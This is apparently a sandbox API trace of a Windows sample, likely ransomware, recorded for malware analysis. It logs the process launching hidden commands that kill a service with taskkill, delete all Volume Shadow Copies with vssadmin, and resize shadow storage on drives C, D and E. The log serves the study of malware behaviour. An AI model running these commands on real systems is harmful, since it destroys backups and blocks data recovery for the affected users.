0xffffffffffffffff [0100.917] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1f4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee040, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee040*=0x258) returned 1 [0100.917] CloseHandle (hObject=0x1f4) returned 1 [0100.917] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0100.917] CoTaskMemAlloc (cb=0x20e) returned 0x1a5750d0 [0100.917] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1a5750d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0100.917] CoTaskMemFree (pv=0x1a5750d0) [0100.917] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"taskkill.exe\" /IM mydesktopservice.exe /F", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1edea0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1f8, hStdError=0x0), lpProcessInformation=0x2252098 | out: lpCommandLine="\"taskkill.exe\" /IM mydesktopservice.exe /F", lpProcessInformation=0x2252098*(hProcess=0x254, hThread=0x1f4, dwProcessId=0xfd4, dwThreadId=0xfd8)) returned 1 [0100.998] CloseHandle (hObject=0x1f8) returned 1 [0100.998] GetFileType (hFile=0x258) returned 0x3 [0100.998] CloseHandle (hObject=0x1f4) returned 1 [0100.998] ReadFile (in: hFile=0x258, lpBuffer=0x2252930, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x2252930, lpNumberOfBytesRead=0x1ee0e8*=0x0, lpOverlapped=0x0) returned 0 [0101.356] GetCurrentProcess () returned 0xffffffffffffffff [0101.356] GetCurrentProcess () returned 0xffffffffffffffff [0101.356] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x254, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee130, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee130*=0x1f4) returned 1 [0101.357] CloseHandle (hObject=0x1f4) returned 1 [0101.358] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0101.358] CreatePipe (in: hReadPipe=0x1ee000, hWritePipe=0x1edff8, lpPipeAttributes=0x1edef0, nSize=0x0 | out: hReadPipe=0x1ee000*=0x1f4, hWritePipe=0x1edff8*=0x1f8) returned 1 [0101.358] GetCurrentProcess () returned 0xffffffffffffffff [0101.358] GetCurrentProcess () returned 0xffffffffffffffff [0101.358] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1f4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee040, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee040*=0x260) returned 1 [0101.358] CloseHandle (hObject=0x1f4) returned 1 [0101.358] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0101.358] CoTaskMemAlloc (cb=0x20e) returned 0x1a5750d0 [0101.358] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1a5750d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0101.358] CoTaskMemFree (pv=0x1a5750d0) [0101.358] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"vssadmin.exe\" Delete Shadows /all /quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1edea0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1f8, hStdError=0x0), lpProcessInformation=0x2255e50 | out: lpCommandLine="\"vssadmin.exe\" Delete Shadows /all /quiet", lpProcessInformation=0x2255e50*(hProcess=0x25c, hThread=0x1f4, dwProcessId=0xffc, dwThreadId=0xc30)) returned 1 [0101.384] CloseHandle (hObject=0x1f8) returned 1 [0101.384] GetFileType (hFile=0x260) returned 0x3 [0101.384] CloseHandle (hObject=0x1f4) returned 1 [0101.385] ReadFile (in: hFile=0x260, lpBuffer=0x22566e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x22566e8*, lpNumberOfBytesRead=0x1ee0e8*=0x77, lpOverlapped=0x0) returned 1 [0101.685] ReadFile (in: hFile=0x260, lpBuffer=0x22566e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x22566e8*, lpNumberOfBytesRead=0x1ee0e8*=0x6, lpOverlapped=0x0) returned 1 [0101.732] ReadFile (in: hFile=0x260, lpBuffer=0x22566e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x22566e8*, lpNumberOfBytesRead=0x1ee0e8*=0x1, lpOverlapped=0x0) returned 1 [0101.732] ReadFile (in: hFile=0x260, lpBuffer=0x22566e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x22566e8*, lpNumberOfBytesRead=0x1ee0e8*=0x99, lpOverlapped=0x0) returned 1 [0101.732] ReadFile (in: hFile=0x260, lpBuffer=0x22566e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x22566e8*, lpNumberOfBytesRead=0x1ee0e8*=0x3, lpOverlapped=0x0) returned 1 [0101.733] ReadFile (in: hFile=0x260, lpBuffer=0x22566e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x22566e8, lpNumberOfBytesRead=0x1ee0e8*=0x0, lpOverlapped=0x0) returned 0 [0101.744] GetCurrentProcess () returned 0xffffffffffffffff [0101.744] GetCurrentProcess () returned 0xffffffffffffffff [0101.744] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x25c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee130, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee130*=0x1f4) returned 1 [0101.746] CloseHandle (hObject=0x1f4) returned 1 [0101.747] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0101.747] CreatePipe (in: hReadPipe=0x1ee000, hWritePipe=0x1edff8, lpPipeAttributes=0x1edef0, nSize=0x0 | out: hReadPipe=0x1ee000*=0x1f4, hWritePipe=0x1edff8*=0x1f8) returned 1 [0101.748] GetCurrentProcess () returned 0xffffffffffffffff [0101.748] GetCurrentProcess () returned 0xffffffffffffffff [0101.748] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1f4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee040, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee040*=0x268) returned 1 [0101.748] CloseHandle (hObject=0x1f4) returned 1 [0101.748] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0101.748] CoTaskMemAlloc (cb=0x20e) returned 0x1a5750d0 [0101.748] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1a5750d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0101.748] CoTaskMemFree (pv=0x1a5750d0) [0101.748] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"vssadmin.exe\" resize shadowstorage /for=c: /on=c: /maxsize=401MB", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1ede70*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1f8, hStdError=0x0), lpProcessInformation=0x225a260 | out: lpCommandLine="\"vssadmin.exe\" resize shadowstorage /for=c: /on=c: /maxsize=401MB", lpProcessInformation=0x225a260*(hProcess=0x264, hThread=0x1f4, dwProcessId=0xcc8, dwThreadId=0xcbc)) returned 1 [0101.756] CloseHandle (hObject=0x1f8) returned 1 [0101.756] GetFileType (hFile=0x268) returned 0x3 [0101.756] CloseHandle (hObject=0x1f4) returned 1 [0101.756] ReadFile (in: hFile=0x268, lpBuffer=0x225ab28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x225ab28*, lpNumberOfBytesRead=0x1ee0e8*=0x77, lpOverlapped=0x0) returned 1 [0101.849] ReadFile (in: hFile=0x268, lpBuffer=0x225ab28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x225ab28*, lpNumberOfBytesRead=0x1ee0e8*=0x6, lpOverlapped=0x0) returned 1 [0101.865] ReadFile (in: hFile=0x268, lpBuffer=0x225ab28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x225ab28*, lpNumberOfBytesRead=0x1ee0e8*=0x1, lpOverlapped=0x0) returned 1 [0101.866] ReadFile (in: hFile=0x268, lpBuffer=0x225ab28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x225ab28*, lpNumberOfBytesRead=0x1ee0e8*=0x99, lpOverlapped=0x0) returned 1 [0101.866] ReadFile (in: hFile=0x268, lpBuffer=0x225ab28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x225ab28*, lpNumberOfBytesRead=0x1ee0e8*=0x3, lpOverlapped=0x0) returned 1 [0101.867] ReadFile (in: hFile=0x268, lpBuffer=0x225ab28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x225ab28, lpNumberOfBytesRead=0x1ee0e8*=0x0, lpOverlapped=0x0) returned 0 [0101.873] GetCurrentProcess () returned 0xffffffffffffffff [0101.873] GetCurrentProcess () returned 0xffffffffffffffff [0101.873] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x264, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee130, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee130*=0x1f4) returned 1 [0101.875] CloseHandle (hObject=0x1f4) returned 1 [0101.875] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0101.875] CreatePipe (in: hReadPipe=0x1ee000, hWritePipe=0x1edff8, lpPipeAttributes=0x1edef0, nSize=0x0 | out: hReadPipe=0x1ee000*=0x1f4, hWritePipe=0x1edff8*=0x1f8) returned 1 [0101.875] GetCurrentProcess () returned 0xffffffffffffffff [0101.875] GetCurrentProcess () returned 0xffffffffffffffff [0101.875] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1f4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee040, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee040*=0x270) returned 1 [0101.876] CloseHandle (hObject=0x1f4) returned 1 [0101.876] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0101.876] CoTaskMemAlloc (cb=0x20e) returned 0x1a5750d0 [0101.876] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1a5750d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0101.876] CoTaskMemFree (pv=0x1a5750d0) [0101.876] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"vssadmin.exe\" resize shadowstorage /for=c: /on=c: /maxsize=unbounded", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1ede70*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1f8, hStdError=0x0), lpProcessInformation=0x225e6a8 | out: lpCommandLine="\"vssadmin.exe\" resize shadowstorage /for=c: /on=c: /maxsize=unbounded", lpProcessInformation=0x225e6a8*(hProcess=0x26c, hThread=0x1f4, dwProcessId=0x7b4, dwThreadId=0x180)) returned 1 [0101.883] CloseHandle (hObject=0x1f8) returned 1 [0101.884] GetFileType (hFile=0x270) returned 0x3 [0101.884] CloseHandle (hObject=0x1f4) returned 1 [0101.884] ReadFile (in: hFile=0x270, lpBuffer=0x225ef78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x225ef78*, lpNumberOfBytesRead=0x1ee0e8*=0x77, lpOverlapped=0x0) returned 1 [0101.982] ReadFile (in: hFile=0x270, lpBuffer=0x225ef78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x225ef78*, lpNumberOfBytesRead=0x1ee0e8*=0x6, lpOverlapped=0x0) returned 1 [0101.989] ReadFile (in: hFile=0x270, lpBuffer=0x225ef78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x225ef78*, lpNumberOfBytesRead=0x1ee0e8*=0x1, lpOverlapped=0x0) returned 1 [0101.989] ReadFile (in: hFile=0x270, lpBuffer=0x225ef78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x225ef78*, lpNumberOfBytesRead=0x1ee0e8*=0x99, lpOverlapped=0x0) returned 1 [0101.990] ReadFile (in: hFile=0x270, lpBuffer=0x225ef78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x225ef78*, lpNumberOfBytesRead=0x1ee0e8*=0x3, lpOverlapped=0x0) returned 1 [0101.990] ReadFile (in: hFile=0x270, lpBuffer=0x225ef78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x225ef78, lpNumberOfBytesRead=0x1ee0e8*=0x0, lpOverlapped=0x0) returned 0 [0101.996] GetCurrentProcess () returned 0xffffffffffffffff [0101.996] GetCurrentProcess () returned 0xffffffffffffffff [0101.996] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x26c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee130, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee130*=0x1f4) returned 1 [0101.998] CloseHandle (hObject=0x1f4) returned 1 [0101.998] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0101.998] CreatePipe (in: hReadPipe=0x1ee000, hWritePipe=0x1edff8, lpPipeAttributes=0x1edef0, nSize=0x0 | out: hReadPipe=0x1ee000*=0x1f4, hWritePipe=0x1edff8*=0x1f8) returned 1 [0101.998] GetCurrentProcess () returned 0xffffffffffffffff [0101.998] GetCurrentProcess () returned 0xffffffffffffffff [0101.998] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1f4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee040, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee040*=0x278) returned 1 [0101.999] CloseHandle (hObject=0x1f4) returned 1 [0101.999] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0101.999] CoTaskMemAlloc (cb=0x20e) returned 0x1a5750d0 [0101.999] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1a5750d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0101.999] CoTaskMemFree (pv=0x1a5750d0) [0101.999] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"vssadmin.exe\" resize shadowstorage /for=d: /on=d: /maxsize=401MB", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1ede70*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1f8, hStdError=0x0), lpProcessInformation=0x2262af0 | out: lpCommandLine="\"vssadmin.exe\" resize shadowstorage /for=d: /on=d: /maxsize=401MB", lpProcessInformation=0x2262af0*(hProcess=0x274, hThread=0x1f4, dwProcessId=0x55c, dwThreadId=0x214)) returned 1 [0102.007] CloseHandle (hObject=0x1f8) returned 1 [0102.007] GetFileType (hFile=0x278) returned 0x3 [0102.007] CloseHandle (hObject=0x1f4) returned 1 [0102.007] ReadFile (in: hFile=0x278, lpBuffer=0x22633b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x22633b8*, lpNumberOfBytesRead=0x1ee0e8*=0x77, lpOverlapped=0x0) returned 1 [0102.095] ReadFile (in: hFile=0x278, lpBuffer=0x22633b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x22633b8*, lpNumberOfBytesRead=0x1ee0e8*=0x6, lpOverlapped=0x0) returned 1 [0102.100] ReadFile (in: hFile=0x278, lpBuffer=0x22633b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x22633b8*, lpNumberOfBytesRead=0x1ee0e8*=0x1, lpOverlapped=0x0) returned 1 [0102.100] ReadFile (in: hFile=0x278, lpBuffer=0x22633b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x22633b8*, lpNumberOfBytesRead=0x1ee0e8*=0x99, lpOverlapped=0x0) returned 1 [0102.101] ReadFile (in: hFile=0x278, lpBuffer=0x22633b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x22633b8*, lpNumberOfBytesRead=0x1ee0e8*=0x3, lpOverlapped=0x0) returned 1 [0102.107] ReadFile (in: hFile=0x278, lpBuffer=0x22633b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x22633b8, lpNumberOfBytesRead=0x1ee0e8*=0x0, lpOverlapped=0x0) returned 0 [0102.116] GetCurrentProcess () returned 0xffffffffffffffff [0102.116] GetCurrentProcess () returned 0xffffffffffffffff [0102.116] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x274, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee130, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee130*=0x1f4) returned 1 [0102.119] CloseHandle (hObject=0x1f4) returned 1 [0102.119] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0102.119] CreatePipe (in: hReadPipe=0x1ee000, hWritePipe=0x1edff8, lpPipeAttributes=0x1edef0, nSize=0x0 | out: hReadPipe=0x1ee000*=0x1f4, hWritePipe=0x1edff8*=0x1f8) returned 1 [0102.119] GetCurrentProcess () returned 0xffffffffffffffff [0102.119] GetCurrentProcess () returned 0xffffffffffffffff [0102.119] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1f4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee040, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee040*=0x280) returned 1 [0102.119] CloseHandle (hObject=0x1f4) returned 1 [0102.119] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0102.120] CoTaskMemAlloc (cb=0x20e) returned 0x1a5750d0 [0102.120] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1a5750d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0102.120] CoTaskMemFree (pv=0x1a5750d0) [0102.120] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"vssadmin.exe\" resize shadowstorage /for=d: /on=d: /maxsize=unbounded", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1ede70*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1f8, hStdError=0x0), lpProcessInformation=0x2266f38 | out: lpCommandLine="\"vssadmin.exe\" resize shadowstorage /for=d: /on=d: /maxsize=unbounded", lpProcessInformation=0x2266f38*(hProcess=0x27c, hThread=0x1f4, dwProcessId=0x52c, dwThreadId=0x43c)) returned 1 [0102.129] CloseHandle (hObject=0x1f8) returned 1 [0102.129] GetFileType (hFile=0x280) returned 0x3 [0102.130] CloseHandle (hObject=0x1f4) returned 1 [0102.130] ReadFile (in: hFile=0x280, lpBuffer=0x2267808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x2267808*, lpNumberOfBytesRead=0x1ee0e8*=0x77, lpOverlapped=0x0) returned 1 [0102.231] ReadFile (in: hFile=0x280, lpBuffer=0x2267808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x2267808*, lpNumberOfBytesRead=0x1ee0e8*=0x6, lpOverlapped=0x0) returned 1 [0102.235] ReadFile (in: hFile=0x280, lpBuffer=0x2267808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x2267808*, lpNumberOfBytesRead=0x1ee0e8*=0x1, lpOverlapped=0x0) returned 1 [0102.235] ReadFile (in: hFile=0x280, lpBuffer=0x2267808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x2267808*, lpNumberOfBytesRead=0x1ee0e8*=0x99, lpOverlapped=0x0) returned 1 [0102.236] ReadFile (in: hFile=0x280, lpBuffer=0x2267808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x2267808*, lpNumberOfBytesRead=0x1ee0e8*=0x3, lpOverlapped=0x0) returned 1 [0102.236] ReadFile (in: hFile=0x280, lpBuffer=0x2267808, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x2267808, lpNumberOfBytesRead=0x1ee0e8*=0x0, lpOverlapped=0x0) returned 0 [0102.243] GetCurrentProcess () returned 0xffffffffffffffff [0102.243] GetCurrentProcess () returned 0xffffffffffffffff [0102.243] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x27c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee130, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee130*=0x1f4) returned 1 [0102.246] CloseHandle (hObject=0x1f4) returned 1 [0102.246] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0102.246] CreatePipe (in: hReadPipe=0x1ee000, hWritePipe=0x1edff8, lpPipeAttributes=0x1edef0, nSize=0x0 | out: hReadPipe=0x1ee000*=0x1f4, hWritePipe=0x1edff8*=0x1f8) returned 1 [0102.246] GetCurrentProcess () returned 0xffffffffffffffff [0102.246] GetCurrentProcess () returned 0xffffffffffffffff [0102.246] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x1f4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x1ee040, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x1ee040*=0x288) returned 1 [0102.246] CloseHandle (hObject=0x1f4) returned 1 [0102.246] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0102.246] CoTaskMemAlloc (cb=0x20e) returned 0x1a5750d0 [0102.246] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x1a5750d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0102.246] CoTaskMemFree (pv=0x1a5750d0) [0102.247] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="\"vssadmin.exe\" resize shadowstorage /for=e: /on=e: /maxsize=401MB", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\aETAdzjz\\Desktop", lpStartupInfo=0x1ede70*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x1f8, hStdError=0x0), lpProcessInformation=0x226b380 | out: lpCommandLine="\"vssadmin.exe\" resize shadowstorage /for=e: /on=e: /maxsize=401MB", lpProcessInformation=0x226b380*(hProcess=0x284, hThread=0x1f4, dwProcessId=0x440, dwThreadId=0x5ec)) returned 1 [0102.256] CloseHandle (hObject=0x1f8) returned 1 [0102.256] GetFileType (hFile=0x288) returned 0x3 [0102.256] CloseHandle (hObject=0x1f4) returned 1 [0102.256] ReadFile (in: hFile=0x288, lpBuffer=0x226bc48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x226bc48*, lpNumberOfBytesRead=0x1ee0e8*=0x77, lpOverlapped=0x0) returned 1 [0102.358] ReadFile (in: hFile=0x288, lpBuffer=0x226bc48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x226bc48*, lpNumberOfBytesRead=0x1ee0e8*=0x6, lpOverlapped=0x0) returned 1 [0102.364] ReadFile (in: hFile=0x288, lpBuffer=0x226bc48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x226bc48*, lpNumberOfBytesRead=0x1ee0e8*=0x1, lpOverlapped=0x0) returned 1 [0102.364] ReadFile (in: hFile=0x288, lpBuffer=0x226bc48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x226bc48*, lpNumberOfBytesRead=0x1ee0e8*=0x99, lpOverlapped=0x0) returned 1 [0102.365] ReadFile (in: hFile=0x288, lpBuffer=0x226bc48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x226bc48*, lpNumberOfBytesRead=0x1ee0e8*=0x3, lpOverlapped=0x0) returned 1 [0102.365] ReadFile (in: hFile=0x288, lpBuffer=0x226bc48, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ee0e8, lpOverlapped=0x0 | out: lpBuffer=0x226bc48, lpNumberOfBytesRead=0x1ee0e8*=0x0, lpOverlapped=0x0) returned 0 [0102.423] GetCurrentProcess () returned 0xffffffffffffffff [0102.423] GetCurrentProcess 